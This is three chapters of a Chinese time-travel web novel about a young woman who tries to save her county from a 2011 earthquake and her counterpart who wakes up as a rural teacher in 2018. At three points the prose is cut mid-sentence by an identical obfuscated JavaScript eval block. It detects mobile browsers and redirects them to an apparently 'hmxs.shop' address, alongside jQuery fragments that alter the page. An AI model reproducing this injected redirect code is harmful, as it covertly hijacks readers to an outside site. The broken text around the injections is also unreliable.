《轮转》
1. 嘉宁县 2011年
田家希醒来时已经站在自家楼前了。90年代初修建的白墙红顶五层楼房,在常年的雨水冲刷下外立面已变得脏污不堪。她家住在二楼,阳台上一盆盆蓝紫相间的绣球花已经盛开。
顺着绣球花的方向往上看,晾衣杆上挂着妈妈最爱的碎花连衣裙和米色草帽,这样的场景她不知在梦中梦过多少次,如今身临其境了却觉得那么不真实。
这时隔壁邻居黄欣苹到阳台上晒豇豆,看见田家希表情木楞地站在楼下,笑着向她招手,“小沛,是不是又忘带钥匙了?你妈妈还没下班,要不来我家坐坐?”
田家希“啊”了一声,仰头看向黄阿姨,还是记忆中的模样,圆脸短发,鼻子有点塌,眼睛不大却很有神。见她热情招呼自己,一如多年前那样亲切温暖,田家希鼻子一酸,泪止不住掉下来。
黄欣苹没有察觉到田家希的异样,麻利地将豇豆一根根挂在衣架上,嘴里仍不停催促,“快上来,刚好买了个哈密瓜,我一个人吃不完。”
田家希没有拒绝,她慢慢地走进楼道,眼睛一寸一寸地扫描着楼梯间的一切:楼底堆放的废旧自行车、布满尘土的水泥地、有霉斑污泥的白墙、每家门前必备的鞋架……一切都没变,还是原来的样子!
她忍不住又掉下泪。
黄欣苹的门“吱呀”一声开了,她带着不确定的目光看着田家希一步步走上来,心里犹疑了片刻,然后会心一笑,招呼她进来。听见声音的田家希忙用手背拭泪,然后快步走上楼梯进了她家门。
可能时间太久记忆有偏差,田家希记得黄阿姨家客厅的沙发墙上原来挂着一张全家福。
照片上,黄阿姨怀里抱着一只漂亮的吉娃娃,旁边坐着的是全县人人称赞的模范丈夫——刘叔叔。刘叔叔亲昵地搂着黄阿姨的肩,两人看着镜头笑得很甜。
虽然结婚多年无子,但黄阿姨拥有全县最帅气、也最疼她的男人和最惹人喜爱的小狗。她时常会拿这张照片出来炫耀——钥匙扣、钱夹、书桌、床头柜上,两人一狗的温馨照片无处不在。
田家希啃着甜甜的哈密瓜,探寻的目光在客厅里转了又转,最后视线落在空荡荡的墙面上,纳闷道,“你和刘叔叔那张照片呢?”
黄欣苹脸色陡然沉下来,眼睛眨巴眨巴地刚要说话,又听她问,“那只吉娃娃呢?叫什么名?我忘了。”
黄欣苹的表情从沉郁转为惊讶,“什么狗?”
这时楼道传来“哒哒哒”的脚步声,伴随着几声轻嗽传至两人耳畔。
是妈妈回来了!田家希心跳加速,嘴里的哈密瓜忘了咀嚼胡乱吞了下去。虽然心情异常激动,甚至有点害怕见面,她却不由自主起身开了门。
文莉刚巧走到黄欣苹家门口,抬起眼皮看了眼女儿,神情明显不悦,眼神刚要溜走,被嚎啕大哭的田家希结结实实搂住脖子,勒得她差点喘不过气来。
“妈,我太想你了!呜呜呜……”
文莉心想:这又演的哪出!半天不见,至于这么大架势?她瞄了眼在旁吃瓜的小黄,立马明白过来,肯定是不想妥协又耍什么小伎俩吧!
她用了很大的劲将田家希推开,脸色微微发白,重重地叹了口气,“有事回家说,别在这儿堵着。”
田家希擦干泪跟她进了对门的家。
在换鞋的空档,文莉埋怨道,“以后出门记得带钥匙。这么大人了,丢三落四的毛病该改改了。”
田家希有些委屈,她也是刚到这儿,哪里会有钥匙?而且她以往出门钥匙一定会放包里,也没麻烦过黄阿姨,难道妈妈不记得了?
文莉换完鞋,抬头看见全身镜里的田家希,惊讶地叫了一声,“你啥时候有这套衣服的?”
田家希也被镜中的自己吓了一跳——马尾辫、白衬衫、黑色的西裤,标准又略显呆板的职业装,妈妈肯定没见过。
她想起睡着前她在办公室看《时间简史》,怎么会突然出现在儿时的家中?她也很诧异。
也许是自己太想家乡的亲人朋友,太怀念这里的一草一木!在失去他们的日子里,她无时无刻不想回到这里!所以……就梦想成真了?
“你这是啥职业的装扮?会计?公关?老师?”
田家希看了眼镜中的自己,这样常规的职业装,是很多行业的标配,但还是老老实实回了句,“老师。”
文莉顿时火冒三丈,“田小沛,你翅膀长硬了,啊!我们不同意你报考教师专业,你就直接穿这身衣服示威是不是?”
好多年没听到妈妈叫这个名字了,田家希心里一阵悸动,热泪盈盈看着文莉。
文莉吓了一跳,“你……你怎么了?”
田家希擦了擦眼角,拉着妈妈问,“你刚才说报考专业,这么说我马上要高考了?那今年……是2011年?”
文莉气得差点背过气去。她知道女儿处理麻烦事擅于声东击西,但这么拙劣的逃避话题的借口还是第一次见,就当她想要警告她不要试图装糊涂蒙混过关时,又听见女儿问她今天几号。
田家希看到妈妈脸色越来越难看,识趣的她瞄到妈妈放在鞋柜的手机,凑近一看,5月24日。
啊!她长舒一口气,太好了,一切都还来得及!
她紧紧地捏住妈妈的手腕,表情激动万分,“妈,我们搬家吧!”
***
“你女儿疯了!”田伟刚回家,文莉就指着紧闭的卧室门对他说,“今天竟说胡话。我让她好好想想专业的事,她居然喊我们搬家,说这里很危险。”
田伟看了眼桌上一筷未动的饭菜,明白女儿定是耍性子闹绝食,无奈地笑笑,“高考压力大嘛!别把孩子逼太紧。”
“我没有逼她啊!”文莉满腹委屈,盛了碗饭递给丈夫,“我只是想让她看清未来就业方向。而且,学金融也可以帮帮你嘛!”
“你真以为我能开公司?”田伟苦笑了下,“再说她考教师有什么不好?受人尊敬,每年还有三个月的假。”
文莉撇了撇嘴,她做梦都想住上县城最贵的房子,出门有专车接送,穿漂亮的衣服戴好看的首饰,想实现这一切需要向钱看。
她曾经还指望自己经营的服装店能火出嘉宁,甚至还梦过在全国各地开连锁,数钱数到手抽筋。
可现实是,生意每况愈下,濒临倒闭。她自然把所有希望寄托在女儿和丈夫身上。
此时的田家希无暇理会妈妈的心思,她将自己关在卧室里,努力地回想并消化今天的离奇经历。她居然回到了2011年!科幻小说里常有的桥段竟然被她遭遇了!
是老天怜悯她,给她一次机会拯救至亲好友?她弄不清楚,也无暇弄清楚,因为距离那场惨绝人寰的特大地震只有五天了!她得想办法带领大家逃离这儿!
思索片刻,她决定如实相告。
田伟此时正拿着牙签剔牙,听她说五天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068842|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后嘉宁县将变成一堆废墟,额间的皱纹又加深了一些。
“咱们县是在地震带上,但这么多年都是小震,哪里有过大地震?”他一脸不在乎摆摆手,“没用没用,小震不用跑,大震跑不掉。”
“能跑掉,我们有五天的时间。”田家希表情认真看着他,“爸,你不是有个同学在县政府工作吗?让他跟领导说说,动员全县的人搬迁,咱能救一个是一个。”
“我咋不知道我还有这能耐,让全县的人在五天内搬迁?”田伟哭笑不得,觉得女儿的话无异于天方夜谭,“我知道你最近压力大……这样,你这几天好好歇歇,你填志愿的事,我们不逼你了。”
田家希也知道提出这个请求让人接受不了,决定退而求其次,“那我们家先搬吧。”说不定有人先行动了,胆小的人会跟风。
“你怎么就这么肯定29号那天会地震?”
“我要是说我从未来过来的,经历过这一切,你信吗?”为了证明自己说的是真的,田家希极不情愿地回忆起大地震后嘉宁县所遭遇的一切。
“够了!”忍无可忍的文莉将洗碗帕扔进锅里,走到饭厅怒容满面看着田家希。女儿从小调皮精怪,言行时有出格,已经够让她伤脑筋了,现在真是越来越癫了!
“你说你说的这些,你自己信吗?从未来穿越来的?你是不是那些乱七八糟的小说看多了,没有认真学习?马上就要高考了,你能不能用点心……”
“好了,好了。”田伟赶忙制止即将要爆发的“战争”,母女俩最近为填报志愿的事闹得很僵,也让他伤脑筋得很。他给女儿使了个眼色,“你快进屋学习。”
“如果你们愿意搬家,我愿意报考金融,以后我什么都听你们的。我发誓!”田家希举起右手,眼眶里盈着泪水。
因为多年后,她曾后悔当年为志愿的事和爸妈闹得很僵。如果能让爸妈平安健在,这点牺牲算什么呢?
“我只愿我们一家人平平安安在一起,我真的不能再失去你们了!”
夫妻俩见女儿哭得情真意切,妥协得如此之快,纳闷的同时又生出几分害怕,一时不知说什么好。
田伟拍了拍女儿肩膀,体谅她最近学习压力大,也不深究她的胡言乱语。他向妻子使了个眼色,文莉擦干了手,抽了两张纸巾递给女儿,“你好好说话啊,可不许咒我们啊。”
田家希见妈妈态度放软,更是泪如雨下,伏在妈妈肩上大哭。
好不容易将女儿安抚入眠,夫妻俩回到房间对坐犯愁。田伟埋怨妻子把女儿管太紧,以致于她压力太大出现幻觉,“就前年,老丁硬逼着她女儿考省大,结果把她逼疯了闹自杀,这事你忘了?”
文莉被这么一提醒,意识到自己望女成凤的心太过。她叹了口气,心里越发郁闷。
第二天醒来,田家希发现自己仍在家中,她放了心,这次她一定要带大家脱离险境。
文莉对女儿搬家的请求并没回应,和颜悦色地喊女儿吃早饭,忙东忙西地回避一切话题,眼见她上学的时间快到了,又催着她赶紧出门。
此时已进入高考冲刺最后阶段。一路上,随行的同学们步履匆匆,神色沉郁,走路都不忘背单词。
只有田家希,心不在焉地打量着周围的一切,就在她绞尽脑汁想对策时,校门口谢京睿和几个男生的玩闹声将她视线吸了过去。她吃惊得瞪大了双眼:他不是转学了吗?怎么会在这儿?
2. 溪水村 2018年
田小沛刚睁眼就被眼前的景象吓得不轻。不到三十平的房间里,摆满了七八张办公桌,白色的墙面挂着几把二手风扇,门窗看似新装但略显单薄,风一吹,窗户像散架似的哐啷哐啷响。
为了节省空间,桌子两两对放在一起,中间的过道仅够一人通行。她坐在窗边右侧的座位,离大门最近。桌上整齐地摆放着一摞摞作业本、教案、试卷、书籍和办公用品。
田小沛随便拿了一张试卷看,上面写着“2017-2018学年第二学期一年级语文测试题”。她笑了笑,心想这学校教学质量肯定不怎样,连学年都印错了。
视线从远而近,她看见桌上放了一本《时间简史》,心里“呀”了一声,她刚才也在看这本书,后来不知怎么就睡着了。她环视四周,这是哪儿?她为什么会到这儿?
正纳闷,只听下课铃响,不一会儿,一个穿着白衫黑裤、抱着几本教材的女孩推门而入,朝她莞尔一笑,在她对面坐下后,又朝窗外瞟了眼,随后用书本遮住嘴巴噗哧一笑,“喏,还在等你呢!”
田小沛不知她说的是谁,顺着她的目光朝窗外看,只看见一群孩子在操场打球,正想问她,一个八九岁模样的男孩拿着一张纸怯怯地走向她,到她面前站定、低头、递上检查书,嘟着小嘴,一副要哭不哭的模样,“田老师,我错了。”
田老师?他喊我田老师?田小沛瞪大眼睛问他,“你喊我什么?”
男孩见老师表情惊恐中有丝狰狞,吓得哭起来,“田……老师,我真的错了。”
这一哭,招来了刚下课的两个老师和几个围观学生。
坐在对面的女孩急了,忙替她解围,对男孩说,“丁小勇,田老师是在考验你,到底是不是真的意识到错了?有没有把她这个老师放在眼里?”
小勇点头如捣蒜。
“好了,那交了检查就回去上课吧!”
“等等!”田小沛此刻已看完检查内容,一脸疑惑问向对桌女孩,“就只是抓了女生辫子,至于写检查吗?”
空气就此凝住了。要知道,写检查这事就是田老师要求的啊!
大家目瞪口呆看着她。
田小沛也察觉到气氛不对劲,但她并不在意,把检查书还给丁小勇,“去吧,下次再犯绝不轻饶!”
小勇没有片刻犹豫,接过检查书就跑。
田小沛大大方方地把对她质疑的目光挨个回视了一遍,直到他们感觉不自在不再看她。
“家希姐,你怎么了?是不是还是不太舒服?”对坐女孩满怀关切看着她。
家希姐?田小沛吃了一惊,她拍了拍自己的脸,是在叫我么?
女孩看她脸色不对劲,起身朝她走来,这才注意到她的装扮,皱了皱眉,“你怎么换衣服了?”
田小沛低头看了眼自己蓝白相间的短袖短裙,再看看同事们统一的白衫黑裤装束,忽然意识到自己大概率又在做梦。
“我记得你不爱穿裙子的。”女孩担忧地看着她,视线伸向她的双腿。
田小沛赶紧把裙子往下扯了扯,双腿伸进桌底,心想我这次做的什么梦啊啊啊!同事不会是偷窥狂吧!
好在没多久上课铃声响起,办公室就剩她和另一个戴黑边眼镜的女老师,眼镜老师不爱说话,埋头疯狂批改作业。
田小沛心想很好,我刚入梦,对我梦寐以求的职业还没熟悉呢,我得好好看看这次梦的是哪个学校。她在一排书里抽出一则“招生简章”,上面介绍溪水小学是由政府牵头、两家慈善企业联合出资建办的希望小学,于2016年成立,现面向整个县招生。
2016年?田小沛心里嘀咕,想起刚才那份试卷上的学年,刚想去找,余光瞟到了桌面右侧摆放的日历,她凑近一看,日历翻到2018年5月这一页,某些日期上记了待办事项,字体娟秀,看样子笔主是个细心认真的人。
视线往右移,日历旁边放着一张工作牌,田小沛拿起来一看,不由得花容失色——照片上的人和自己长得一模一样!往下看,上面写着:姓名:田家希。职务:语文老师、六年级班主任。
这么说,我在梦里“篡夺”了别人的职位?哈哈哈,这个梦够刺激,不仅玩起了cosplay,连服化道都这么真实、细节,她满意地将工作牌挂在脖子上,迅速进入角色。
下一节课是一年级的语文,田小沛看了课表,拿上教材,提前从办公楼出来,正踌躇往哪个方向走时,突然过道里闪出一个高大的身影将她罩住,她抬头看了那男人一眼,吓得后退两步。
此时下着小雨,楼道光线昏暗,但她还是看清了那张令她厌恶的脸——浓密修长的眉毛下一双深邃黑亮的眼,微笑唇,皮肤白净,高挺的鼻梁上有道疤,帅是挺帅的,就是人太讨厌了。
等等,他鼻梁上何时有的疤?而且,整个人的气质好像和以往不大一样。
谢京睿见对方虽躲着自己,一双漂亮的杏眼却在自己脸上游走不停,那表情像是发现了什么新大陆,他一时摸不清状况,有点忐忑说,“我知道这个决定太突然,所以来跟你道歉,希望没有吓到你,为表歉意,我想晚上请你吃个饭。”
语速快且流畅,感觉像是彩排了好几遍。
田小沛简直不敢相信自己的耳朵,他什么时候变得这么礼貌谦卑的?看他的神情,紧张中带着一丝忐忑,这是什么情况?
“你做了啥决定?”
“我想到贵校来当老师。”
“啊,哈哈哈……”田小沛笑得前俯后仰,纨绔子弟居然想当老师,果然梦里啥都敢。
谢京睿很意外她并没有冷脸,赔笑道,“我知道我能力不够,但当体育老师还是可以,我不要编制,不要工钱,就纯义务帮忙。
田小沛这次没有笑了,他篮球足球在行,运动细胞发达,当体育老师绰绰有余。只不过他为什么要跟她说?她又不是校长,又不负责招聘。
还有,她跟他并没太多交情,只是两家大人交好罢了。她的梦里为啥会有他?俗话说,日有所思夜有所梦,她可从来没想过他啊!
算了算了,一场梦而已,计较那么多干嘛!田小沛一脸轻松,“行,请饭就请饭吧!”
谢京睿眉眼舒展,如释重负,激动得差点喊出来,他告诉她下午六点在校门口等她。
田小沛打了个OK的手势。
这时下课铃声响了,她从学生涌出的方向找到了一年级教室。
教室可真是简陋,这是她梦过的最寒酸的学校。
不过既然扮演上了,还是要尽职尽责。
她打开语文课本第21课,迅速浏览了下那位田老师的课案,很认真细致,还设计了让学生扮演课本中的角色,但很无趣。
铃声响起,学生们鱼贯而入,端端正正坐好等老师
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068843|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
讲课。
田小沛数了数,一共15个,只坐满教室的一半。她让孩子们打开课本翻到《小壁虎借尾巴》这一篇,然后带领大家把课文读了一遍,又教了生僻字的读音和意思。
看着大家努力消化知识的样子,她忽然灵机一动,“你们有谁见过壁虎?”
有的说见过,有的说没有,还有的说他知道哪里有。
“好,那我们去找壁虎吧!”
台下一片欢腾。
田小沛化身导游,领着十几个孩子们在校园内到处找壁虎。
溪水小学建在山沟里,四周被大山包围,生态环境很好,很快他们就在一楼后勤仓库的外墙面发现两只壁虎。
长长的尾巴,大大的眼睛,敏捷的爬行动作,引来孩子们好奇围观。
田小沛从仓库内取来盛满水的喷水壶,朝其中一只壁虎一喷,壁虎立马不动了,孩子们拍手叫好。她便趁机引导孩子们认识壁虎,它爱吃什么,有什么习性,尾巴断了会不会重新长起来?
随着一次次提问,一次次解答,孩子们学到了课本以外更多知识,下课铃声响了还意犹未尽听着老师讲解。
田小沛按着自己的教学方式圆满完成任务,心里正得意时,被校长叫到了办公室。
早在小沛带领学生满校舍找壁虎时,就惊动了其他班的学生和老师。孩子们叽叽喳喳的声音不仅让学生们分心,连办公楼的校长室都听得一清二楚。
章校长目睹了他们课外教学的全过程,为了不打击孩子们的学习兴致,全程没有干预,但对田老师不提前招呼就私自带学生出教室的做法有意见。
“首先,咱们学校现在并没有修建完善,仓库那一块脏乱差又挨着山坡,你带着他们往那里钻,孩子们年龄那么小,万一有个闪失谁担待得起?其次,实验课、户外教学、户外活动按规定是要提前报备的,毕竟咱们条件有限,每个年级活动时间要错开,这一点咱们在会上提过,你是支持的。”
田小沛不以为然,梗着脖子狡辩,“我带他们到仓库那边,一,没占用操场,二,那地方原本就没人,三,也没影响其它班上课呀!有人围观我们吗?”
章校长看着她,惊得一时说不出话。田家希以往绝不会用这种语气跟他讲话,也绝不会对自己认可的事情出尔反尔。
“安全!安全意识你有吗?再说,你要是没影响其他班教学,我会叫你来?”
田小沛抬眸瞧了瞧他那张中规中矩的脸,心想年纪也不大,怎么说话处事这么老成?
她仍不服气,仰起骄傲的脑袋问,“那你要不要去听听学生们的反馈,看他们喜不喜欢这样的教学方式,是不是学到了更多知识,有没有更快地记住知识点?”
章校长无话可说,他注视着气呼呼的她,感到陌生又诧异,忽然他想起前几日她请病假的事,从心里原谅了她一半。
还想说点什么,他瞟到了她穿着的蓝色短裙,裙子太短,一双修长白皙的腿特别吸睛,刚才光顾着讲话,全然没注意她穿着这么不得体。
章校长撇过脸,像是看了什么不该看的东西,眼睛不停眨巴眨巴,语气却很正,“身为老师,穿成这样成何体统!”
田小沛看了眼自己的裙子,纳闷了:我又不是没穿,干嘛这副表情!见校长没有和她继续狡辩的意思,她乐得自在,正好,要到晚饭时间了,我还有人请饭呢!
3. 嘉宁县 2011年
“谢京睿,你不是转学了吗?怎么会在这儿?”
正在玩闹的谢京睿被突来的询问吓了一跳,转头看是死对头田小沛,他“嚯”了一声,眼神露出几分玩味的笑。
“我还要问你呢,你不是转学了吗?怎么会在这儿?”他学着她的腔调故意开涮她,“是不是看上了哥哥我,舍不得走啊?”
“啊哈哈哈……”旁边几个男生发出热烈的哄笑,带着几分看好戏的表情纷纷看向田家希。
谢京睿得意地瞟了眼她,嘴角挂着几分贱笑,他得先杀杀她的锐气,谁叫她上次让他当众下不来台。
田家希不可置信看向他,眼中迸出几分惊疑。
“我有很重要的事跟你说,借一步说话。”事态紧急,她顾不得细究他。
“哟,有什么话不能让我们听,非要跟我们谢帅悄悄说啊!”
“莫不是情话吧……”
男生们阴阳怪气调侃她。
谢京睿看她一脸窘迫,笑得更欢,嘴角都要咧到耳后根了。
田家希见他丝毫没有维护自己的意思,心凉飕飕的。她来到这么重要的时刻,爸妈不理解不支持就算了,唯一能指望的他竟用这种态度对她。她记得这时他已对她情根深种,就差表白了吧,怎么会变这样?!
她又急又气,无助感遍及全身,微垂着头,想不出更好的办法,在泪将要溢出眼眶那一瞬,她及时抹掉,转身就走。
原本得意洋洋的谢京睿顿时怔住了,她没想到她这么快就败下阵来,还用了娇柔女生惯用的招数——哭。这不像她田小沛的风格啊!他一时摸不清是真的还是演的。
他决定先按兵不动,她行事从不按套路出牌,定是换了战略战术。
上午最后一堂课的铃声刚起,同学们一窝蜂冲出来跑向食堂。谢京睿懒洋洋地挎着书包最后一个从教室出来,在楼梯口看到田家希和三班班主任裴老师正说着话,他下意识闪到柱子后面偷听。田家希虽然背对着他,但他站得不远,两人的对话清晰入耳。
裴老师表情严肃,双手交叉环抱于胸前,对田家希说的事感到不可思议,现代科学无法预测地震,她一个高中生如何得知。她语重心长劝她把精力集中在高考上,又说如果压力太大,这几天可以不来学校了。
又一个希望破灭了。田家希呆呆地站在那儿,琢磨着如果七年前有人告诉她即将地震让她搬家,她肯定也不会信吧。她只怨穿过来时两手空空,没有有力的证据给大家看,空口白牙,确实没有说服力。
“嘿!发什么呆!”谢京睿经过她时,把轻飘飘的书包在空中划了个半圆的弧度搭在肩上,差点打到她。
田家希心事重重,没空搭理他,抬脚往楼下走。
“你说要地震?”谢京睿在她背后问得很大声。
田家希不理。
“清丰市会波及到么?”
田家希脚步止住了。记忆中,谢家早在半年前搬到清丰市,谢京睿此时也转到市重点学校了。可现在他还在这儿上学,是为什么?
当得知谢家搬家的事是昨晚定下的,而且要等谢京睿高考完才搬,田家希不禁再次陷入自我怀疑。如果说时间长远记忆会有偏差,谢家搬家的时间她是肯定不会记错的。她再次向谢京睿求证。
谢京睿白了她一眼,撇下她大步往前走。他原本没打算告诉她搬家的事,但看她到处求人动员大家搬家的样子,忽然改变主意。他本想借此机会显摆显摆顺带气气她,没想到被她一脸严肃质疑,内心受到极大侮辱。
“等等!“田家希突然想起什么,加快步伐赶上他,看着他的眼神犹如抓到救命稻草,“你家不是想和我家合做生意吗?让你爸劝我爸一起搬家,怎么样?”
谢京睿一个急刹,看着她怔了好几秒,继而瞳孔微缩,用一种陌生的表情凝视她。他父亲确实有这个打算,但也就昨晚提了一嘴,还商量要不要和田家说,她倒像能未卜先知似的。看她诚恳迫切的眼神,不像是恶作剧,他倒有点摸不透她了。
“大人的事,我懒得管。”他含糊其辞,只想快点摆脱她。
谢常德很宠他这个儿子,只要谢京睿肯答应帮她,事情就成功了一半。时间紧迫,田家希不会放过任何希望,紧跟着谢京睿一路喋喋不休细说两家合作的好处。
谢京睿不胜其烦。
两人走到食堂时,饭菜已经见底了。
“我请你吃饭,你帮我游说你爸,行吗?”
“你上次不是说一辈子都不和我说话吗?”
田家希见他含笑的眼睛夹杂着不怀好意的嘲弄,忽然来了气。“不愿算了,你可别后悔!”说完转身离开。
谢京睿注视着她娇小又倔强的背影陷入沉思——田小沛从来没请过任何人吃饭,这是在放射什么信号?
仔细想想,县城里的人,谁不巴结他和他家!两家合做生意,不是离他更近一步了?哈哈,他原以为她田小沛是个另类,没想到也被他的魅力折服了。
嗐!谁让他是全年级最帅的有钱公子哥,但凡是个女人都不能不为他着迷吧?
这么一想,之前田小沛和他作对是想引起他注意?现在装不下去本性暴露了吧!他用大拇指揩了揩微笑的嘴唇,心里好不得意。
田家希故意把脚步放慢,她也很自信,她知道他是喜欢她的,这样独处的机会他不会拒绝。
果然,谢京睿喊住了她。
两人在校门口找了家环境好的餐馆点了几个好菜。
吃到一半,田家希提出了第二个请求:一定要在29号之前搬家。
算算只剩四天了。
谢京睿把筷子一撂,说不可能。
“你在家不是说一不二吗?这点事都搞不定?”
嘿!居然跟我玩激将法。他瞟了她一眼,“我凭什么帮你?”
“我这是在救你的命!”
他一口水差点喷到她脸上。完了完了,这女人疯劲又上身了。
谢京睿面无表情,“我只负责把你家想和我家合作的意思传达到,其余我不管。”
“或者你们那天带上值钱的东西离开嘉宁县。”田家希想了想,“到离县100公里之外的地方,随便哪里都行。到了下午你就知道我说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068844|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的是真是假了。”顿了顿她突然眼睛一亮,“你爸人缘好,你让他帮忙宣传宣传,咱们能救一个是一个。”
谢京睿白了她一眼,心想他为何鬼迷心窍要来吃这顿饭,合作的诚意没感受到,倒被她安排得明明白白的。他是不是又被套路了?
餐馆老板在收拾桌子时听到一两句,见她说得跟真的似的,过来搭腔。
田家希借此机会宣传。
餐馆老板问,“如果那天没地震,误工费、搬家费,你给不?”
“我给。”田家希想打消他的顾虑,如果能多挽救一个生命,钱算什么呢?再说她坚信给不了这笔钱。
“那好,你立个字据。”老板觉得这小姑娘挺好玩,想逗逗她。
“立什么立!”谢京睿剜了老板一眼,“她说的,你愿信就信,不信拉倒。怎么还赖上钱了?”
老板认得谢京睿的爸,知道他是县里大富商,说话也客气三分,乐呵呵道,“我就开个玩笑,别在意。”
田家希见他替自己解围,一丝暖意刚上心头,只见他板着脸警告说,“想和我家合作,就别到处欠债,别惹这些不必要的麻烦,我们可不替你们补窟窿!”
田家希看他摆着一张臭脸,那么疏离陌生,没有丝毫情意,心想不应该啊,她再也忍不住,问他,“你真的一点都不在乎我吗?”
谢京睿有点出乎意料,干笑了两声,“咱们生意归生意,你可别想套路我啊!”他承认她确实长得很好看,但好看的花有毒,就像毒蘑菇常披着美丽的外表毒杀人,他又不是没被坑过。
“还有,我现在改名了,叫谢精锐,精练勇锐的精锐,以后别喊错了。”
“户口本上也是这两字吗?”
他起身,并不想在此多作停留,“总之,你这么喊就对了。”
田家希一怔,难道她认错人了?
当晚,田家希开始游说老爸,说谢伯伯商业嗅觉灵敏,现在兴起的电商模式,会助他的生意更上一层楼。几年后,他的公司会成为省内知名企业,你跟着他做准没错。
田伟很少见女儿这么严肃认真的模样,他原本也想拓宽生意渠道,对网络推广跃跃欲试,这些年虽跟着谢常德赚了不少,但底子不够厚实,不敢轻易尝试。现在听女儿这么一说,心里开始动摇。
谢常德已在省城注册公司,很快全家便要搬到清丰市打拼生意,与他合作意味着离开故土,田伟想着想着又想放弃了。
七年前,田伟因为拒绝谢家合作邀请没能躲开地震,田家希绝不会让悲剧重演。她把未来谢家公司经营业务、发展规模、上市时间等一一讲给他听。
田伟看她说得有模有样,不像是编的,开始对她身份起疑。“你真是从七年后过来的?怎么证明?”
田家希双手放在腿上,有些无措。突然,她的手微微一动,视线移到腿上。她找老爸借了手机,到卫生间拍下了她大腿外侧的伤疤,然后递给他看,“这是地震后,我回到家找你们受的伤。这条疤我这个时候是没有的,你可以问妈妈。”
田伟看着那条长长的伤疤,心颤抖不已。
4. 溪水村 2018年
田小沛刚出校门就见谢京睿双手插兜靠在黑色奥迪车前,见她来,他忙整理了下着装,含笑大步向她走来。
“我们还要坐车去吗?”田小沛见他穿了件淡蓝色格子衬衫,搭配笔挺的黑色直筒裤,看上去清爽阳光,暗笑他吃个饭还换了身衣服,搞得像约会似的。
“这里没有像样的馆子。”谢京睿解释,“开车过去也就20分钟,餐馆已经定好了。”
田小沛很自然地拉开副驾门,大长腿往里一伸,坐稳,拉出安全带系上。
谢京睿看着她这一连串动作,愣怔了几秒,随后心情愉悦地发动了引擎。
田小沛看着窗外不断退后的景色,从矗立于山坳里的学校到散落在山间的村户,从层叠的梯田到巍峨翠绿的大山,弯弯绕绕,像是行走于漫画中,又像是误入世外桃源。
哇,这个地方好闭塞啊!要是被人卖了都很难逃出去,田小沛想。她以往的梦里都是在大城市的重点学校当老师,环境优越,前途无限,怎么这次梦到了比嘉宁县还偏僻落后的农村!
谢京睿见她东张西望不太开心的样子,指了指座椅旁的扶手盒,说里面有糖和小零食,让她先吃点垫垫肚子。
田小沛打开一看,哇,糖果有她最爱的阿尔卑斯、话梅糖;零食有葱油饼干、旺旺雪饼,还有果汁和矿泉水,她眼睛笑成了一条缝,毫不客气撕开包装袋就往嘴里塞。
谢京睿暗喜,心想这么多年过去了,她口味竟然一点没变,而且她今天不躲他,不拒绝他,难道真是想通了?
车子停在溪水镇最豪华的餐馆。说是豪华,仅仅是店堂干净明亮,装潢看得过去,离谢京睿平时下馆子的标准差得太远,但在这样的偏远小镇也只能将就。
两人刚下车,谢京睿的豪车便引来众人围观。
服务员见贵客上门,笑着热情迎了过来,礼貌地将他们引到事先定好的座位落座。
谢京睿语带歉意对田小沛说,原本想定个包房,但餐馆没有,只能选靠窗座位,景致能好一点。
田小沛环视四周,偌大的大厅,服务员人数比顾客还多,靠窗的一排座位,就只有他俩,这跟包房有啥区别。
不一会儿,服务员们列队上菜,可把田小沛看呆了。菜色诱人、香气勾魂、摆盘精致、荤素搭配匀称,足足十盘菜都是她的最爱!就当她感动得痛哭流涕拿起筷子准备大快朵颐时,突然想起什么,看向谢京睿,“你这是要给我赔罪?”
谢京睿愣了一下,吞吐道,“也可以这么说吧!”
“也可以?”她吃了一惊,明明就是赔罪餐嘛,豪车接送,豪华餐厅,一大桌堪比宴席规格的菜,姿态都放这么低了嘴还是那么硬,她原本想争执,奈何肚子不争气咕咕乱叫,算了,懒得他一般见识,她拿起筷子夹了块红烧肉,味美得眯起了眼。
谢京睿盛了一碗鸡汤放在她面前,她连喝几口直呼“真鲜”。
他眼神发直看着她,回忆起上次送鸡汤去医院看她,她说闻着都感觉很腻,一口没动。今天的她像换了个人似的。
“医生开的药你坚持吃了吗?”
田小沛差点没呛着。上次他当着同学们的面叫嚷着她有病该回去吃药,气得她追着他打,虽然经她不懈努力挽回点面子,但她和他的仇怨,她能记一辈子!
“你才有病呢!”她毫不客气怼回去,脸上带着的怒气把几米开外的客人吓得噤声。
